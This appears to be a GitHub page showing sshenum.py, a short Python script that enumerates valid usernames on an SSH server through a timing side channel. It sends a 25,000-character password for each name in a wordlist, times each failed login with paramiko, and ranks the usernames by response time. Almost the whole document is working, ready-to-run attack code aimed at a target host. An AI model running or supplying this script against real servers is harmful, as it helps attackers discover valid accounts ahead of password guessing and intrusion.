-
Notifications
You must be signed in to change notification settings - Fork 8
/
Copy pathsshenum.py
80 lines (61 loc) · 1.74 KB
/
sshenum.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/python
import operator
import time
import sys
from argparse import ArgumentParser
import paramiko
parser = ArgumentParser()
parser.add_argument("-w", "--wordlist", metavar="path", default="wordlist.txt",
help="Wordlist with usernames")
parser.add_argument("-c", "--count", metavar="number", default=10,
help="Limit output to x items")
parser.add_argument('rhost',
help="Target address")
parser.add_argument("-v", "--verbose", action="store_true",
help="Verbose")
args = parser.parse_args()
#print(args)
p = 'A' * 25000
res = {}
wordlist = args.wordlist
ip = args.rhost
verbose = args.verbose
limit = int(args.count)
ln = 1
lines = sum(1 for line in open(wordlist))
if not (verbose):
sys.stdout.write("\r0%")
sys.stdout.flush()
#'\r\n', '\n'
for user in open(wordlist):
ssh = paramiko.SSHClient()
starttime = time.process_time()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
if "\r" in user: user = user.replace('\r\n', '\n')
perc = (float(ln)/float(lines))*100
try:
ssh.connect(ip, username=user,
password=p)
except:
endtime = time.process_time()
total = endtime - starttime
res[user] = total
ln += 1
if verbose:
print(" Username: %s Time: %s Done: %d%%" % (user[0:-1], total, perc))
else:
sys.stdout.write("\r%d%%" % perc)
sys.stdout.flush()
ressorted = sorted(res.items(), key=operator.itemgetter(1))
print;
c = 0
if verbose: print("\nSorted:\n")
# print(c)
# print(limit)
for x, y in ressorted:
if (c < limit):
# print("%s %s" % (c, limit))
print("%s %s" % (x[0:-1], y))
c += 1
else:
break